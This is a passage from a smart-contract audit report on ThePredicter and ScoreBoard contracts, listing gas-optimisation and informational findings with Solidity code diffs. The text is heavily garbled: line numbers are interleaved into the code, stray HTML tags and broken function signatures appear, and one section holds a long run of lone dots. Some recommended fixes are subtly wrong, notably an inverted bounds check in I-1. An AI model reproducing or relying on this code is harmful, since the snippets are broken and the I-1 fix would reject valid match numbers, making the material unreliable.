ThePredicter::withdraw

Impact: Protocol is less transparent and makes it difficult for nodes to monitor this protocol to check whether a particular function has been executed successfully or not

Recommended Mitigation: Emit neccessary events if a function is executed successfully.

Gas

[G-1] Variables which are only set once should be declared immutable

Description: State variables whose value are only set once and then stay same for the rest of the contract should be decalred immutable, as reading from and writing to storage costs a lot of gas

Instances - ThePredictor.sol - address owner - ScoreBoard.sol - address public organizer; - uint256 public entranceFee; - uint256 public predictionFee;

Impact: Higher gas will be used

Recommended Mitigation: Declare the above mentioned variables as immutable

[G-2] ThePredicter::makePrediction makes a timestamp check, and calls ScoreBoard::setPrediction which makes the same check

Description: The Predicter::make Prediction makes a timestamp check, and calls Score Board::set Prediction which makes the same check

```
function makePrediction(
    uint256 matchNumber,
    ScoreBoard.Result prediction

public payable {
    if (msg.value != predictionFee) {
        revert ThePredicter__IncorrectPredictionFee();
    }
}
```

```
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400)
{
    revert ThePredicter__PredictionsAreClosed();
}

scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
```

```
function setPrediction(
1
2
            address player,
3
            uint256 matchNumber,
4
            Result result
5
       ) public {
6
   =>
            if (block.timestamp <= START_TIME + matchNumber * 68400 -</pre>
       68400)
7
                playersPredictions[player].predictions[matchNumber] =
                   result;
            playersPredictions[player].predictionsCount = 0;
8
9
            for (uint256 i = 0; i < NUM_MATCHES; ++i) {</pre>
                if (
10
11
                    playersPredictions[player].predictions[i] != Result.
                        Pending &&
                    playersPredictions[player].isPaid[i]
                ) ++playersPredictions[player].predictionsCount;
13
           }
14
15
       }
```

Impact: Making the same exact check twice just causes more gas and clutters up the codebase

Recommended Mitigation: Remove the check from ScoreBoard::setPrediction function

```
function setPrediction(
1
            address player,
2
3
            uint256 matchNumber,
            Result result
4
5
       ) public {
6
            if (block.timestamp <= START_TIME + matchNumber * 68400 -</pre>
       68400)
7
                playersPredictions[player].predictions[matchNumber] =
            playersPredictions[player].predictionsCount = 0;
8
9
            for (uint256 i = 0; i < NUM_MATCHES; ++i) {</pre>
                if (
11
                    playersPredictions[player].predictions[i] != Result.
                        Pending &&
                    playersPredictions[player].isPaid[i]
                ) ++playersPredictions[player].predictionsCount;
14
            }
15
       }
```

[G-3] Remove unused enum states in ThePredicter::Status enum

```
1 enum Status {
2 - Unknown,
3 Pending,
4 Approved,
5 Canceled
6 }
```

This Unknown state is used nowhere and is of no relevance to the protocol so should be removed.

[G-4] The Predicter: : withdraw function runs a loop and reads from storage in each iteration, causing a lot of gas

```
1  +  uint256 numPlayers = players.length;
2  +  for (uint256 i = 0; i < numPlayers; ++i) {
3  -  for (uint256 i = 0; i < players.length; ++i) {
            int8 cScore = scoreBoard.getPlayerScore(players[i]);
            if (cScore > maxScore) maxScore = cScore;
            if (cScore > 0) totalPositivePoints += cScore;
        }
}
```

Caching the length of players array causes us to read from storage only once, saving us a lot of gas.

[G-5] The Predicter:: withdraw function contains a total Positive Points variable which declared as int 256 instead of uint 256 even though it will always remain >= 0, and later is converted to a uint 256, wasting gas for no reason.

```
1 - int256 totalPositivePoints = 0;
2 + uint256 totalPositivePoints = 0;
4
5
6 - uint256 totalShares = uint256(totalPositivePoints);
7
8
      reward = maxScore < 0
9
10
               ? entranceFee
               : (shares * players.length * entranceFee) / totalShares;
11 -
12 +
              : (shares * players.length * entranceFee) /
    totalPositivePoints;
```

[G-6] ThePredicter::withdraw function has a redundant if statement

According to the function logic, reward will always be > 0, so it is best to remove this conditional and implement the logic inside it anyways.

Informational

[I-1] The function ScoreBoard::setResult uses matchNumber (index of results array) as input, which may mistakenly be out of range

Description: ScoreBoard::setResult function has a input parameter called matchNumber which represents the index of the results array. We know Organiser isn't malicious but he may make a mistake of giving the index which is greater than or equal to the length of results array, which will revert.

Impact: Organiser might have to call ScoreBoard::setResult function again, causing him more gas.

Recommended Mitigation: Add a check to make sure the inputted index is in bounds, so even if transaction reverts, if reverts much earlier so Organiser can call it again and save gas.

```
error ScoreBoard__InvalidMatchNumber;
2
3
4
5
6
7
       function setResult(uint256 matchNumber, Result result) public
          onlyOwner {
8 +
           if(matchNumber < NUM_MATCHES)</pre>
9 +
               revert ScoreBoard__InvalidMatchNumber;
10 +
11
12
           results[matchNumber] = result;
13
       }
```

[I-2] The Address library has been imported in ThePredicter contract but not used anywhere

Recommended Mitigation: 1. Remove it

```
import {Address} from "@openzeppelin/contracts/utils/Address.sol";

contract ThePredicter {
 using Address for address payable;
 .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
   .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .
```

2. Use Address::sendValue function instead directly using .call method.

3 Instances - in cancel Registration function

```
1 - (bool success, ) = msg.sender.call{value: entranceFee}("");
2 - require(success, "Failed to withdraw");
3 + payable(msg.sender).sendValue(entranceFee);
```

• in withdrawPredictionFees function

```
1 - (bool success, ) = msg.sender.call{value: fees}("");
2 - require(success, "Failed to withdraw");
3 + payable(msg.sender).sendValue(fees);
```

in withdraw function

```
1 - (bool success, ) = msg.sender.call{value: reward}("");
2 - require(success, "Failed to withdraw");
3 + payable(msg.sender).sendValue(reward);
```